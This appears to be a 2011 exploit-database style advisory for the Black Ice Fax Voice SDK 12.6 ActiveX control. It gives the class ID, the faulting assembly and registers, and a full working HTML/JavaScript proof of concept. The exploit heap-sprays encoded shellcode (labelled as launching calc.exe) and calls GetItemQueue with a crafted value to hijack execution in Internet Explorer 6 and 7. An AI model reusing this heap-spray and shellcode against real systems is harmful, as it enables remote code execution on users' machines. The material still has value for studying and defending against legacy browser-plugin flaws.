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Black Ice Fax Voice SDK v12.6 - integer dereference code execution exploit
Date: Jun 20, 2011
Link: http://www.blackice.com/Fax%20C++%20ActiveX.htm
Version: 12.6
Tested on: WinXP - IE 6 & 7
Class FAX
GUID: {2E980303-C865-11CF-BA24-444553540000}
Number of Interfaces: 1
Default Interface: _DFAX
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
Meh, despite the above, i found this bug slightly amusing >:)
Theres an integer overflow in this section of fax.ocx which is how i found the dereference vulnerability.
1000CFA3 MOV ECX,[EBP+8] < --- get our variable into ECX
1000CFA6 MOV EDX,[ECX] < --- dereference
1000CFA8 MOV ECX,[EBP+8] < --- get our variable into ECX again (meh)
1000CFAB CALL [EDX+14] < --- !!!!
and...
EIP 1000CFA6 -> 51EC8B55
EAX 1000CF82 -> 51EC8B55
EBX 0013EC68 -> 01D29E90
ECX FFFFFFFF
EDX 73F360D3 -> EB0C4589
EDI 0013EB98 -> 73F4D682
ESI 00000000
EBP 0013EB94 -> 0013EC10
ESP 0013EB90 -> 0003A1A0
vulnerable methods:
GetFirstItem()
GetItemQueue()
prob more.
-->
<object classid='clsid:2E980303-C865-11CF-BA24-444553540000' id='target'/></object>
<script language='javascript'>
// Calc.exe
var shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'
);
var nops = unescape('%u0a0a%u0a0a');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while(nops.length < slackspace) {
nops += nops;
}
var fillblock = nops.substring(0, slackspace);
var block = nops.substring(0, nops.length - slackspace);
while((block.length + slackspace) < 0x50000) {
block = block + block + fillblock;
}
memory=new Array();
for(counter=0; counter<200; counter++){
memory[counter] = block + shellcode;
}
var boom = 168430090; // 0x0a0a0a0a
target.GetItemQueue(boom);
</script>
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